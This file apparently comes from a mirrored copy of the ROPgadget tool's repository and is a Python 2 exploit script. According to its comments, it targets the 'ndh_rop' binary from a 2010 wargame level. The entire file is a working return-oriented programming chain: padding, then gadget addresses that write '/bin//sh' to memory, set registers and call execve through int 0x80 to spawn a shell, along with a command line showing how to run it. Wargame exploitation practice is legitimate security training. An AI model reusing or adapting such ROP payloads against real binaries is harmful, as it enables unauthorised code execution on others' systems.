mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
45 lines
1.6 KiB
Python
Executable File
45 lines
1.6 KiB
Python
Executable File
#!/usr/bin/python2
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# Test RopGadget payload in ndh_rop binary
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# ndh_rop is a binary on wargame-ndh-2010 (level 10)
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#
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# poc: ./ndh_rop "$(python2 ./exploit.py)"
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from struct import pack
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p = "a" * 12
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# execve /bin/sh generated by RopGadget v4.0
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p += pack("<I", 0x08052bba) # pop %edx | ret
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p += pack("<I", 0x080cd9a0) # @ .data
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p += pack("<I", 0x080a4be6) # pop %eax | ret
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p += "/bin"
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p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
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p += pack("<I", 0x08052bba) # pop %edx | ret
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p += pack("<I", 0x080cd9a4) # @ .data + 4
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p += pack("<I", 0x080a4be6) # pop %eax | ret
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p += "//sh"
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p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
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p += pack("<I", 0x08052bba) # pop %edx | ret
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p += pack("<I", 0x080cd9a8) # @ .data + 8
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p += pack("<I", 0x0804aae0) # xor eax, eax | ret
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p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
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p += pack("<I", 0x08048144) # pop %ebx | ret
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p += pack("<I", 0x080cd9a0) # @ .data
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p += pack("<I", 0x080c5dd2) # pop %ecx | ret
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p += pack("<I", 0x080cd9a8) # @ .data + 8
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p += pack("<I", 0x08052bba) # pop %edx | ret
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p += pack("<I", 0x080cd9a8) # @ .data + 8
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p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca6) # inc %eax | ret
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p += pack("<I", 0x08048ca8) # int 0x80
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print p
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